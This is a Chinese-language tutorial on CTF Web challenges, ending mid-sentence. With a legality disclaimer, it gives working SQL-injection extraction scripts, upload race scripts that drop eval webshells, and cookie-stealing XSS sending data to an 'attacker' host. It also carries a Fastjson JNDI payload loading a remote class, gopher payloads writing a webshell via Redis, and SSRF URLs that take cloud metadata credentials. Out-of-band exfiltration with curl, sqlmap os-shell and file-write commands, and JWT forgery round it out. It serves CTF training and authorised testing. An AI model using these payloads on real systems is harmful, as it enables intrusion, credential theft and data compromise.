CTF(Capture The Flag)竞赛是网络安全从业者与爱好者磨炼实战能力的主流形式,其中Web方向因知识面广、技巧组合多变、贴近真实业务场景,一直是参赛人数最多、区分度最高的方向之一。一篇Flag的获取往往不是单点突破,而是从信息收集、漏洞定位、利用链构造到权限维持的完整链条。本文系统梳理CTF Web方向的核心题型、通用Payload、自动化脚本与解题方法论,并配以实战案例,帮助读者建立从"打开题目"到"拿到Flag"的完整思维路径。
**【提示】合规声明:本文所有技术内容、Payload与脚本仅用于CTF竞赛、授权渗透测试与网络安全学习。严禁将文中任何技术用于未授权的目标系统,否则由使用者自行承担一切法律责任。请始终在合法授权范围内进行安全研究。
一、CTF基础与Web题型分类
1.1 CTF竞赛的三种主流形式
CTF竞赛在形式上大体分为三类,不同形式对选手的能力侧重差异明显。
Jeopardy(解题模式) 是目前最普及的形式,题目按方向(Web/Pwn/Reverse/Crypto/Misc/Forensics)分类,每题独立求解,提交Flag即得分。大部分线上练习平台(BUUCTF、CTFHub、NSSCTF)采用此模式。
Attack Defense(攻防模式) 给每支队伍分配相同环境的靶机,既要攻击对手拿Flag,又要修补自身服务防止被攻破。该模式考验漏洞利用速度与防御加固能力,常见于线下总决赛。
King of the Hill(抢占模式) 多支队伍争夺同一台或多台靶机的控制权,守住权限并持续提交Flag得分,强调权限维持与清场能力。
1.2 Web题型分类与难度分级
Web方向题目的考察点高度集中,下表归纳了常见分类、典型考点与难度参考。
| 题型 | 典型考点 | 常见Flag位置 | 难度参考 |
|---|---|---|---|
| SQL注入 | UNION、盲注、堆叠、二次注入 | 数据库flag表/字段 | 入门~中等 |
| XSS | 反射/存储/DOM、CSP绕过、Cookie窃取 | Cookie/管理员bot访问记录 | 入门~中等 |
| SSRF | file/gopher/dict协议、内网探测、云元数据 | 内网服务、云元数据 | 中等~进阶 |
| 文件上传 | 后缀/MIME/内容绕过、.htaccess、条件竞争 | 上传后解析执行getshell | 入门~中等 |
| 文件包含 | LFI/RFI、PHP伪协议、日志/Session包含 | 读取源码或配置中的Flag | 中等 |
| 反序列化 | PHP魔法方法、POP链、phar、Java链 | 魔法方法触发RCE读Flag | 进阶 |
| SSTI | Jinja2/Twig/Smarty注入、RCE链 | 模板渲染上下文中执行命令 | 中等~进阶 |
| 命令注入 | 分隔符、空格/关键字绕过、通配符 | 命令执行读取文件 | 入门~中等 |
| 逻辑漏洞 | 越权、密码找回、支付、验证码、JWT | 业务接口返回Flag | 中等 |
难度分级通常参考:题目是否需要组合多个知识点、是否存在WAF或过滤、是否需要源码审计或逆向辅助。入门题一般为单一知识点无过滤;中等题引入过滤或需要绕过;进阶题往往要求构造复杂利用链或结合多个漏洞。
1.3 常见练习平台
| 平台 | 特点 | 适用阶段 |
|---|---|---|
| BUUCTF | 题库庞大、分类清晰、含历年赛事复刻 | 入门~进阶 |
| CTFHub | 技能树结构、按知识点循序渐进 | 入门 |
| NSSCTF | 题目更新快、有赛事专区 | 入门~中等 |
| 攻防世界 | 经典题多、含新手训练区 | 入门~中等 |
【提示】 平台刷题不要只追求数量,建议每道题写一份自己的WriteUp,记录"卡在哪一步、最终Payload、可复用的技巧",这套笔记比刷题数本身更有价值。
二、信息收集与侦察
信息收集是Web题目的第一步,也是区分新手与老手的关键环节。许多题目的Flag或解题线索并不在显眼位置,而藏在源码注释、备份文件、响应头或隐藏接口中。
2.1 前端源码审计
打开题目后第一件事是查看页面源码(浏览器右键查看源代码或Ctrl+U),重点关注以下几类痕迹。
HTML注释中常遗留开发者提示或隐藏字段。
html
<!-- TODO: remove test account admin/admin123 -->
<!-- flag is in /flag.txt, but how to read it? -->
<input type="hidden" name="debug" value="0">
隐藏字段 可能控制后端逻辑分支,将debug=0改为debug=1有时会返回调试信息或Flag。
JS文件 是另一座金矿。查看源码中引用的.js文件,用浏览器开发者工具的Sources面板或直接下载审计。常见线索包括:硬编码的API Key、隐藏接口路径、前端校验逻辑(可绕过)、被注释掉的Flag或提示。对压缩混淆的JS,可用jsbeautifier或浏览器Pretty Print格式化后阅读。
2.2 目录扫描与备份文件发现
目录扫描能发现题目未在前端暴露的接口、后台、备份源码。常用工具及命令如下。
bash
# dirsearch 字典扫描
python dirsearch.py -u http://target/ -e php,bak,txt,zip,git -t 30
# gobuster 高速目录爆破
gobuster dir -u http://target/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,txt
# ffuf 模糊测试,支持递归与多扩展名
ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301,403 -recursion -recursion-depth 2
备份文件是CTF中极高频的线索来源。下表列出常见备份文件类型与发现意义。
| 备份文件 | 含义 | 利用方式 |
|---|---|---|
index.php.bak |
源码备份 | 直接下载审计源码逻辑 |
.index.php.swp / .swap |
vim异常退出残留 | vim -r恢复或直接读源码 |
.git/ |
git仓库泄露 | GitHack或dirsearch提取源码与历史提交 |
.svn/ |
svn仓库泄露 | svn-extractor提取源码 |
.DS_Store |
macOS目录泄露 | ds_store_exp解析目录结构 |
www.zip / backup.sql |
整站备份/数据库备份 | 下载后直接分析 |
【提示】 git泄露在CTF中出现频率极高。发现
.git/目录后,优先用GitHack恢复,再用git log查看历史提交,Flag常藏在某个被"删除"的历史commit中:git log --all; git checkout <commit-hash>。
2.3 响应头与robots/sitemap分析
HTTP响应头 常携带关键信息。Server暴露中间件及版本(用于查已知CVE),X-Powered-By暴露后端语言框架(如PHP/7.2、ThinkPHP),自定义头如X-Hint、Flag可能直接给提示。
robots.txt 与sitemap.xml是标准约定的爬虫指引文件,CTF中常用于藏目录。
User-agent: *
Disallow: /flag_is_here/
Disallow: /admin_backup/
访问被Disallow的路径往往能找到下一步线索。
2.4 CMS指纹识别
若题目使用已知CMS,可直接查对应漏洞库(CVE、Exploit-DB)。识别方式包括:人工比对页面特征(版权信息、特定JS/CSS路径)、使用Wappalyzer浏览器插件、whatweb命令行工具、或在指纹库(如SecLists中的Web指纹字典)中匹配。
bash
whatweb http://target/
# 输出示例: WordPress[5.4.1], Apache[2.4.43], PHP[7.2.31]
2.5 信息收集checklist
下表是一份通用信息收集清单,建议每道Web题开始时逐项检查。
| 检查项 | 方法/工具 | 期望产出 |
|---|---|---|
| 页面源码注释 | Ctrl+U查看 | 隐藏字段/提示/账号 |
| 引用JS文件 | Sources面板 | 隐藏接口/硬编码凭据 |
| HTTP响应头 | Burp/浏览器Network | 中间件/框架版本 |
| robots.txt | 访问/robots.txt | 隐藏目录 |
| sitemap.xml | 访问/sitemap.xml | 站点结构 |
| 目录扫描 | dirsearch/ffuf | 后台/备份/源码 |
| 备份文件 | 扫.bak/.swp/.git/.zip | 源码泄露 |
| CMS指纹 | whatweb/Wappalyzer | 已知CMS与版本 |
| 端口扫描 | nmap | 额外服务 |
三、SQL注入CTF题型
SQL注入是Web题目的"常青树",几乎每场CTF都会出现。掌握判断、利用与绕过的完整套路,是Web方向的必修课。
3.1 注入点判断
数字型与字符型 的判断通过闭合方式区分。对参数id=1,依次尝试:
id=1' # 报错→可能为字符型,需闭合单引号
id=1' --+ # 加注释后正常→确认字符型,闭合方式为单引号
id=1 and 1=1 # 正常
id=1 and 1=2 # 异常→数字型注入
常见闭合方式汇总:'、"、')、")、'))、")),需根据报错信息逐个尝试。
3.2 联合查询注入(UNION)
当页面有回显位时,UNION注入是最快的利用方式。以id=1为例,三步走:
# 1. 确定列数
id=1' order by 1 --+
id=1' order by 2 --+
id=1' order by 3 --+ # 报错说明列数为2,回退到2
# 2. 确定回显位
id=-1' union select 1,2 --+
# 3. 在回显位查数据
id=-1' union select 1,database() --+
id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' --+
id=-1' union select 1,group_concat(flag) from flag --+
id=-1的目的是让原查询无结果,从而显示UNION后的数据。
3.3 布尔盲注与脚本
当页面无数据回显,但根据条件真假显示不同内容(如"查询成功"/"查询失败"),可用布尔盲注逐字符猜解。
python
import requests
url = "http://target/index.php"
flag = ""
for i in range(1, 100):
low, high = 32, 127
while low < high:
mid = (low + high) // 2
# ascii(substr((select flag from flag),i,1)) > mid
payload = f"1' and ascii(substr((select flag from flag),{i},1))>{mid} --+"
r = requests.get(url, params={"id": payload})
if "success" in r.text: # 根据题目真实回显替换关键词
low = mid + 1
else:
high = mid
if low == 32:
break
flag += chr(low)
print(f"[+] {flag}")
print(f"[*] Flag: {flag}")
二分法将每个字符的猜测次数从95次降到约7次,效率远高于顺序遍历。
3.4 时间盲注与脚本
当页面连布尔差异都没有,只能靠响应时间判断真假时,使用时间盲注。MySQL常用sleep(),SQL Server用WAITFOR DELAY,PostgreSQL用pg_sleep()。
python
import requests
import time
url = "http://target/index.php"
flag = ""
for i in range(1, 100):
low, high = 32, 127
while low < high:
mid = (low + high) // 2
payload = f"1' and if(ascii(substr((select flag from flag),{i},1))>{mid},sleep(3),0) --+"
start = time.time()
requests.get(url, params={"id": payload})
elapsed = time.time() - start
if elapsed > 2.5:
low = mid + 1
else:
high = mid
if low == 32:
break
flag += chr(low)
print(f"[+] {flag}")
print(f"[*] Flag: {flag}")
【提示】 时间盲注受网络波动影响大,阈值(如2.5s)要明显大于正常响应时间,必要时多取几次或换用
benchmark()函数做双重校验。
3.5 堆叠注入与二次注入
堆叠注入 在支持多语句执行的环境(如MySQL的mysqli_multi_query、SQL Server)中可一次执行多条SQL。典型Payload:
id=1';show databases;show tables;select * from flag --+
# 经典 bypass:表名被过滤时用反引号或预编译句柄
id=1';select `flag` from `flag` --+
# 列名/表名被过滤时用 handler 代替 select
id=1';handler `flag` open;handler `flag` read first --+
二次注入 指恶意数据先被存入数据库(注册、留言),后在另一处查询中被拼接执行。典型场景:注册用户名admin'#,修改密码时SQL变成UPDATE users SET password='new' WHERE username='admin'#',从而篡改admin密码。识别二次注入的关键是关注"数据写入后是否在某处被无参数化拼接"。
3.6 WAF绕过技巧
| 绕过维度 | 被过滤 | 替代方案 |
|---|---|---|
| 空格 | 空格 | /**/内联注释、%09/%0a/%0b、+、括号包裹 |
| 关键字 | select/union | 大小写混写SeLeCt、双写ununionion、内联注释un/**/ion |
| 注释 | --、# | ;%00空字节截断、构造闭合不依赖注释 |
| 等价函数 | substr | mid、substring、left、right |
| 等价函数 | ascii | ord、char比较 |
| 逗号 | , | substr(x from 1 for 1)、join、case when |
| 引号 | ' " | 十六进制0x666c6167、char() |
| 比较符 | < > | greatest()、least()、between、in |
内联注释/**/还能承载关键字绕过部分WAF:un/**/ion sel/**/ect 1,2。
3.7 sqlmap自动化
bash
# 基础检测
sqlmap -u "http://target/index.php?id=1" --batch
# 指定注入点与闭合(POST)
sqlmap -u "http://target/login" --data="user=1&pass=1" -p user --dbms mysql --level 3 --risk 2
# 脱库
sqlmap -u "http://target/index.php?id=1" --dbs --batch
sqlmap -u "http://target/index.php?id=1" -D ctf --tables --batch
sqlmap -u "http://target/index.php?id=1" -D ctf -T flag --dump --batch
# tamper绕过WAF
sqlmap -u "http://target/index.php?id=1" --tamper="space2comment,randomcase" --batch
--level控制测试范围(1-5,越高测越多参数与注入类型),--risk控制危险等级(1-3,3会测OR注入可能破坏数据)。tamper脚本列表可用sqlmap --list-tampers查看。
四、文件上传与文件包含
4.1 文件上传绕过大全
文件上传题的核心是让服务器把我们上传的"马"当作可执行脚本解析。绕过维度分为前端校验、后端校验两大类。
前端校验仅在浏览器JS层检查扩展名,直接用Burp改包后缀或禁用JS即可绕过。
后端校验才是重点,绕过策略如下表。
| 校验维度 | 绕过方式 |
|---|---|
| 黑名单后缀 | .phtml、.pht、.php3/4/5/7、.phps、.pht、.PhP大小写、.php.、.php空格、.php::$DATA(Windows) |
| 白名单后缀 | .htaccess、.user.ini间接解析、00截断(PHP<5.3.4) |
| MIME校验 | Burp改Content-Type: image/jpeg |
| 文件头校验 | 内容前加GIF89a;等合法文件头 |
| 内容检测 | 图片马:copy normal.jpg/b + shell.php/a webshell.jpg |
| 二次渲染 | 用脚本在图片未被修改区域植入代码(如imagecreatefromjpeg保留区) |
.htaccess绕过 :上传一个.htaccess使指定后缀按PHP解析。
# .htaccess 内容
AddType application/x-httpd-php .jpg
# 或匹配文件名
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini绕过 :适用于Nginx+PHP-FPM/Apache+PHP,上传.user.ini自动包含马。
ini
; .user.ini 内容
auto_prepend_file=shell.jpg
上传后访问任意php文件,会自动包含shell.jpg执行其中代码。
4.2 条件竞争上传
服务端先保存临时文件再校验删除时,存在极短的"已上传未删除"窗口。用多线程在窗口内高频访问临时文件触发解析。
python
import threading
import requests
url_upload = "http://target/upload.php"
url_shell = "http://target/upload/tmp_shell.php"
shell_content = "<?php file_put_contents('real.php','<?php eval(\$_POST[cmd]);');?>"
def upload():
while True:
requests.post(url_upload, files={"file": ("tmp_shell.php", shell_content)})
def trigger():
while True:
r = requests.get(url_shell)
if "ok" in r.text or r.status_code == 200:
print("[*] race success, shell at real.php")
return
for _ in range(20): threading.Thread(target=upload).start()
for _ in range(20): threading.Thread(target=trigger).start()
马的内容应是一次性落地逻辑:在被删除前就写出另一个持久化webshell。
4.3 文件包含利用
文件包含题通过include/require/include_once将我们指定的文件作为PHP执行。区分LFI(本地)与RFI(远程,需allow_url_include=On)。
PHP伪协议是CTF文件包含的核心考点。
# php://filter 读源码(base64编码避免渲染)
?file=php://filter/read=convert.base64-encode/resource=flag.php
# 解码base64即得源码
# php://input 执行POST数据
?file=php://input
POST: <?php system('cat /flag');?>
(需 allow_url_include=On)
# data:// 执行内联代码
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
# zip:// / phar:// 压缩包包含
?file=phar://upload/test.zip/shell.php
Session文件包含 :当session.upload_progress.enabled=On(默认开),可上传带恶意文件名的session进度,包含/tmp/sess_<PHPSESSID>触发执行。
日志文件包含:Nginx/Apache访问日志会记录User-Agent,包含日志文件即可让UA中的代码被执行。
# 先在UA写入马
User-Agent: <?php eval($_POST[cmd]);?>
# 再包含日志
?file=/var/log/nginx/access.log
【提示】 找不到绝对路径时,配合
php://filter先读配置文件(/etc/nginx/nginx.conf、/etc/apache2/apache2.conf)确认日志路径,再进行包含。
五、XSS与CSRF题型
5.1 XSS三类与Payload
反射型XSS :输入经URL参数直接回显,http://target/?q=<script>alert(1)</script>。
存储型XSS:输入存入数据库并在他人访问时输出,常见于留言板、个人资料。危害最大。
DOM型XSS :输入经前端JS处理后写入DOM,不经过后端,如document.getElementById('x').innerHTML=location.hash。
常用Payload集(按绕过层级递进):
html
<!-- 基础 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<!-- 标签/属性绕过 -->
<img src=x:onerror=alert(1)> <!-- 过滤空格 -->
<script>alert(1)</script> <!-- 注释分隔 -->
<scr<script>ipt>alert(1)</scr</script>ipt> <!-- 双写绕过 -->
<img src=x onerror="alert(1)"> <!-- HTML实体编码 -->
<!-- 事件绕过 -->
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<marquee onstart=alert(1)>
<!-- 编码绕过 -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))> <!-- base64 -->
<a href="javascript:alert(1)">click</a> <!-- 伪协议 -->
5.2 XSS绕过技巧
| 绕过维度 | 技巧 |
|---|---|
<script过滤 |
换事件标签<img>、<svg>、<body> |
onerror等事件 |
换冷门事件ontoggle、onstart、onfocus |
关键字alert |
confirm、prompt、window['al'+'ert']、top['al'+'ert'] |
括号() |
反引号`````执行标签:<img src=x onerror=alert1> |
| 引号 | 反引号或HTML实体 |
| 大小写 | <ScRiPt> |
| 编码组合 | HTML实体+JS unicode+base64 |
5.3 CSP绕过
CSP(内容安全策略)通过响应头或<meta>限制脚本来源。常见绕过:
script-src 'unsafe-inline':允许内联,直接用<script>。script-src 'self':只能加载同源脚本,找同域可控制的JSONP或上传JS文件。- 存在CDN白名单:利用CDN上的AngularJS等库做
ng-include、模板注入绕过。 report-uri:利用报告接口外带数据。
html
<!-- 利用白名单CDN的AngularJS -->
<script src="https://cdn.x/angular.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
5.4 Cookie窃取与XSS平台
XSS的实战目的常是窃取Cookie或执行后台操作。窃取Cookie的Payload:
html
<img src=x onerror="new Image().src='http://attacker/?c='+document.cookie">
<!-- 或 fetch 外带 -->
<img src=x onerror="fetch('http://attacker/?c='+document.cookie)">
搭建XSS平台(如xss平台、BlueLotus)接收Cookie,配合后台bot模拟管理员访问,触发存储型XSS后即可拿到管理员Cookie,以管理员身份访问后台拿Flag。
5.5 CSRF题型
CSRF(跨站请求伪造)让用户在已登录状态下被诱导发送恶意请求。CTF中常表现为:构造一个HTML页面,当管理员(bot)访问时自动发起敏感操作(如修改密码、添加管理员)。
html
<!-- CSRF PoC:自动提交表单修改密码 -->
<form action="http://target/admin/changepass" method="POST">
<input type="hidden" name="user" value="admin">
<input type="hidden" name="pass" value="hacked">
</form>
<script>document.forms[0].submit();</script>
将此页面部署在公网可访问地址,提交给题目"报告给管理员"功能,bot访问后即触发。
六、SSRF题型全解
SSRF(服务端请求伪造)让目标服务器代替我们发起请求,常用于探测内网、读取文件、打云元数据。识别利用点:凡是后端会根据用户输入URL去请求的场景(图片代理、网页预览、webhook、导入远程文件)。
6.1 各协议利用
file协议读取本地文件。
?url=file:///etc/passwd
?url=file:///flag
?url=file:///proc/self/cwd/flag.php # 读当前进程工作目录文件
dict协议探测内网端口与服务。
?url=dict://127.0.0.1:6379/info # 探测Redis
?url=dict://127.0.0.1:3306/info # 探测MySQL
gopher协议打内网服务,可构造完整TCP报文。打Redis写webshell/SSH公钥是经典利用。
# 打Redis(无密码)写webshell到/web目录
?url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$N%0d%0a<URL编码后的马>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$N%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
http协议扫描内网,结合盲注式端口探测定位存活主机。
6.2 Bypass技巧
后端常对SSRF做过滤,绕过维度如下。
| 限制 | 绕过方式 |
|---|---|
禁127.0.0.1 |
0.0.0.0、127.1、localhost、[::1]、2130706433(十进制)、0x7f.0x00.0x00.0x01(十六进制) |
| 禁localhost | DNS解析到127.0.0.1的域名、localtest.me等 |
| 限制协议 | gopher://转http://伪协议、302跳转改写协议 |
| 限制内网段 | DNS重绑定(rebinding):域名解析TTL=0,首次解析公网IP过校验,二次解析返回内网IP |
| 校验域名白名单 | URL的@符号:http://white.com@127.0.0.1,实际访问后者 |
| 短链接过滤 | 302跳转服务跳转到内网 |
DNS重绑定 原理:控制一个域名解析记录,第一次返回公网IP通过校验,TTL设为0,第二次解析时返回127.0.0.1,服务端二次解析时拿到内网地址。可用rbndr.us、自建DNS服务实现。
6.3 云元数据SSRF
云服务商提供元数据服务,SSRF访问可拿到敏感凭据。
# AWS 元数据(旧版)
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# 拿到临时AK/SK后用awscli操作S3等
# 阿里云 元数据
?url=http://100.100.100.200/latest/meta-data/
?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/<role>
# GCP
?url=http://metadata.google.internal/computeMetadata/v1/
# 需加请求头 Metadata-Flavor: Google,可通过gopher构造
【提示】 SSRF题拿到元数据临时凭据后,常需用云CLI或SDK进一步操作对象存储、读Flag。AWS元数据SSRF在近年CTF中几乎成标配考点。
七、反序列化题型
7.1 PHP反序列化原理
PHP反序列化通过unserialize()将字符串还原为对象,还原过程中会自动调用对象的魔术方法,攻击点就在这些魔术方法中。
| 魔术方法 | 触发时机 |
|---|---|
__construct |
对象创建时 |
__destruct |
对象销毁时(脚本结束/unset) |
__wakeup |
unserialize后立即调用 |
__toString |
对象被当作字符串使用(echo/拼接) |
__call |
调用不存在的方法时 |
__get |
访问不可访问属性时 |
__set |
写入不可访问属性时 |
构造利用链的核心是:找到一处"入口魔术方法"(如__destruct或__wakeup),其内部调用了另一对象的另一魔术方法,层层传递到危险函数(eval、system、file_get_contents、include)。
7.2 POP链构造示例
假设有如下代码:
php
class Start { function __destruct(){ echo $this->name; } } // echo触发__toString
class Show { function __toString(){ return $this->obj->action(); } } // 调用不存在方法触发__call
class Pwn { function __call($f,$a){ eval($a[0]); } } // 最终RCE
构造POP链:Start.destruct -> echo Show -> Show.__toString -> Pwn.action -> Pwn.__call -> eval。
php
$pwn = new Pwn();
$show = new Show();
$show->obj = $pwn;
$start = new Start();
$start->name = $show;
// Pwn.__call 的 $a[0] 即传入的参数,需控制
$pwn->arg = "system('cat /flag');"; // 根据实际代码控制参数来源
echo serialize($start);
【提示】
__wakeup绕过是高频考点:当序列化字符串中对象属性个数大于真实属性个数时,__wakeup不执行(CVE-2016-7124,PHP<5.6.25/7.0.10)。例如O:4:"User":4:{...}把4改成5即可绕过__wakeup。
7.3 phar反序列化
phar是PHP的归档格式,其manifest中的metadata会被序列化存储。当文件操作函数(file_exists、is_dir、file_get_contents、fopen等)通过phar://协议访问phar文件时,会自动反序列化metadata,从而触发魔术方法,且不受unserialize是否存在限制。
php
// 生成恶意phar
@unlink("evil.phar");
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); // 文件头绕过类型检测
$o = new VulnClass();
$o->cmd = "system('cat /flag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
上传evil.phar(可改后缀为.jpg绕过校验),再触发file_exists("phar://upload/evil.jpg")即可RCE。
7.4 Java反序列化基础
Java反序列化利用ObjectInputStream.readObject()还原对象,危险点在于重写了readObject/readResolve等方法或借助已知链(CommonsCollections、Fastjson、Log4j、Shiro)。CTF中常见Fastjson反序列化(@type指定类自动调用setter)与Shiro rememberMe反序列化(默认AES key可解密构造链)。
# Fastjson 1.2.24 典型PoC
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}
# 触发JNDI注入,加载远程恶意类RCE
八、SSTI与命令注入
8.1 模板注入检测
SSTI(服务器端模板注入)发生在用户输入被直接拼入模板渲染上下文。检测Payload需对多模板引擎通用:
{{7*7}} # Jinja2/Twig 返回49
${7*7} # FreeMarker/Velocity 返回49
<%= 7*7 %> # ERB 返回49
#{7*7} # Thymeleaf
{``{7*'7'}}可用于区分Jinja2(返回7777777)与Twig(返回49)。
8.2 Jinja2利用链
Jinja2(Flask)通过__class__等对象属性逐步找到危险函数。
# 找基类
''.__class__.__mro__[2]
# 找builtins
''.__class__.__mro__[2].__subclasses__()
# 找到os._wrap_close等可执行命令的类,索引因环境而异
{{[].__class__.__base__.__subclasses__()}}
# 找到后调用popen
{{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['popen']('cat /flag').read()}}
# 万能绕过写法
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')()}}
绕过关键字过滤:
# 过滤 . 和 []
{{''|attr('__class__')}} # attr 过滤器
{{()|attr('\x5f\x5fclass\x5f\x5f')}} # 十六进制绕过下划线
# 过滤 ()
{% set cmd='cat /flag' %} # 用print或lipsum等
{{lipsum.__globals__.os.popen(cmd).read()}}
8.3 Twig/Smarty利用
# Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
# 或
{{['cat /flag']|filter('system')}}
# Smarty
{php}system('cat /flag');{/php}
{if system('cat /flag')}{/if}
8.4 命令注入
命令注入通过分隔符让目标执行额外命令。
| 分隔符 | 作用 |
|---|---|
; |
顺序执行 |
| ` | ` |
| ` | |
&& |
前成功才执行后 |
& |
后台执行 |
|
反引号命令替换 |
$() |
命令替换(嵌套友好) |
空格绕过:
cat${IFS}/flag
cat$IFS$9/flag
{cat,/flag} # 花括号
cat</flag # 输入重定向
IFS=,;`cat,,,/flag` # 改IFS
关键字绕过 (如cat、flag被过滤):
# 拼接
a=fl;b=ag;cat /$a$b
# 反斜杠
c\at /fl\ag
# 通配符
cat /fl* # 匹配flag
/???/??t /???g # /bin/cat /flag
# 变量
${PATH:0:1} # 取PATH首字符 /
# base64
echo Y2F0IC9mbGFn|base64 -d|bash
【提示】 命令注入题常禁用回显,可用带外:
curl http://attacker/?$(cat /flag),或写文件到web目录再访问。
九、逻辑漏洞与业务安全
逻辑漏洞不依赖技术性缺陷,而是业务流程设计不当,难以用WAF防御,在CTF中考察对业务流的理解。
9.1 越权访问
水平越权 :用户A能访问用户B的同级数据。常见于/api/order/1001直接改ID查他人订单,可用Burp Intruder遍历ID找Flag。
垂直越权 :普通用户能调用管理员接口。常见于前端隐藏管理按钮但后端未校验角色,直接请求/admin/listUser即可。识别方法:注册普通账户后尝试访问登录后跳转的admin路径、或抓包改role=admin。
9.2 密码找回逻辑
密码找回题的常见漏洞:找回Token可预测(时间戳MD5)、Token不过期、修改密码步骤可跳过(直接到重置步骤)、Token在响应中返回、短信验证码可爆破(4位数字爆破)。
# 抓包发现步骤可跳过
POST /resetpwd
step=3&user=admin&pass=newpass # 跳过step1验证直接到step3
9.3 支付逻辑
支付题考点:金额可改(传负数或0元)、数量传小数或负数、优惠券重复使用、并发刷余额。典型Payload:把amount=1000改成amount=0.01或amount=-1000,或并发多次使用同一优惠券。
9.4 验证码绕过
| 方式 | 说明 |
|---|---|
| 验证码不刷新 | 一次获取多次复用 |
| 验证码在响应中返回 | 抓包看Response |
| 验证码可爆破 | 4位数字爆破10000次 |
| 万能验证码 | 000000或空 |
| 客户端校验 | 删验证码参数或置空 |
9.5 条件竞争
服务端"查询余额→扣款→发货"非原子操作,并发请求可在余额扣减前多次下单。
python
import threading, requests
url = "http://target/buy"
cookies = {"session": "xxx"}
def buy():
while True:
r = requests.post(url, cookies=cookies, data={"item":"flag","num":1})
if "success" in r.text:
print("[*] race success")
for _ in range(50):
threading.Thread(target=buy).start()
9.6 JWT伪造
JWT由Header.Payload.Signature三段组成。常见漏洞:
-
alg=none:把算法改为none,删签名段,服务端不验签。 -
弱密钥:用
jwt_tool或hashcat爆破签名密钥。 -
算法混淆:服务端支持RS256与HS256,用公钥当HS256密钥重签。
alg=none
header = base64({"alg":"none","typ":"JWT"})
payload = base64({"role":"admin","user":"x"})
token = header + "." + payload + "."
【提示】 JWT爆破可用
hashcat -m 16500 jwt.txt wordlist.txt,常见弱口令secret、key、123456命中率很高。
9.7 会话固定
会话固定指登录前后SessionID不变,攻击者预设一个SessionID给受害者,受害者登录后攻击者用同一ID获得登录态。修复需登录后重置SessionID。CTF中较少直接考,但会话劫持与会话覆盖(修改Cookie中user字段)常见。
十、Miscellaneous与杂项Web
10.1 前端JS逆向
部分Web题核心逻辑在前端JS中,需要逆向分析。常见场景:加密参数生成、签名校验、WebSocket鉴权、限制功能在前端实现。
工具链:Chrome DevTools断点调试、AST Explorer分析混淆代码、AST反混淆脚本。对webpack打包的代码,可在Sources→{}格式化后,用关键词(sign、encrypt、token)定位加密函数,下条件断点观察入参出参。
10.2 WebAssembly
WASM题把核心校验逻辑编译成二进制,难以直接读源码。处理方法:用wabt反编译为WAT文本格式审计,或用Ghidra/IDA加载分析导出函数,结合JS胶水代码定位输入输出。
bash
# 反编译
wasm2wat challenge.wasm -o challenge.wat
# 提取导出
wasm-objdump -x challenge.wasm
10.3 WebSocket通信
WebSocket题目交互走ws://协议,Burp默认抓HTTP,需在Proxy设置中启用WebSocket消息拦截。常见考点:在WebSocket消息中注入SQL/XSS、鉴权字段可伪造、心跳包逻辑可绕。
javascript
// 浏览器端直接交互
let ws = new WebSocket("ws://target/ws");
ws.onmessage = e => console.log(e.data);
ws.onopen = () => ws.send(JSON.stringify({action:"getflag",role:"admin"}));
10.4 GraphQL API
GraphQL题暴露/graphql端点,可用内省查询枚举所有类型与字段,找到隐藏的敏感查询。
# 内省查询
POST /graphql
{"query":"{__schema{types{name fields{name}}}}"}
# 调用敏感字段
{"query":"{flag{content}}"}
【提示】 GraphQL内省在生产中常被禁用,CTF中若禁用可参考"GraphQL batching"批量发查询或暴力猜字段名。
十一、自动化工具与脚本
11.1 目录扫描工具对比
| 工具 | 特点 | 适用 |
|---|---|---|
| dirsearch | Python、字典全、易扩展 | 通用 |
| gobuster | Go、速度极快 | 大字典 |
| ffuf | 支持模糊多字段、递归 | 精细化爆破 |
| feroxbuster | 递归、自动 | 深度目录 |
11.2 sqlmap高级用法
bash
# --os-shell 拿到数据库后直连OS命令
sqlmap -u "http://target/?id=1" --os-shell --batch
# --file-read / --file-write 读写文件
sqlmap -u "http://target/?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target/?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php
# 配合Burp请求文件
sqlmap -r request.txt -p id --batch --tamper=space2comment
# 二阶注入
sqlmap -r request.txt --second-url="http://target/profile" --second-req="req2.txt"
11.3 Burp Suite Intruder/Repeater
Repeater用于单包调试Payload,是Web题最常用模块。把请求发到Repeater后逐次修改参数观察响应。
Intruder用于批量爆破,四种模式:
- Sniper:单一变量逐值替换(爆破ID)。
- Battering ram:多变量同值(用户名密码同字典)。
- Pitchfork:多变量各自字典并行(用户名+密码对应)。
- Cluster bomb:多变量全组合(用户名×密码全组合)。
【提示】 Intruder爆破时注意
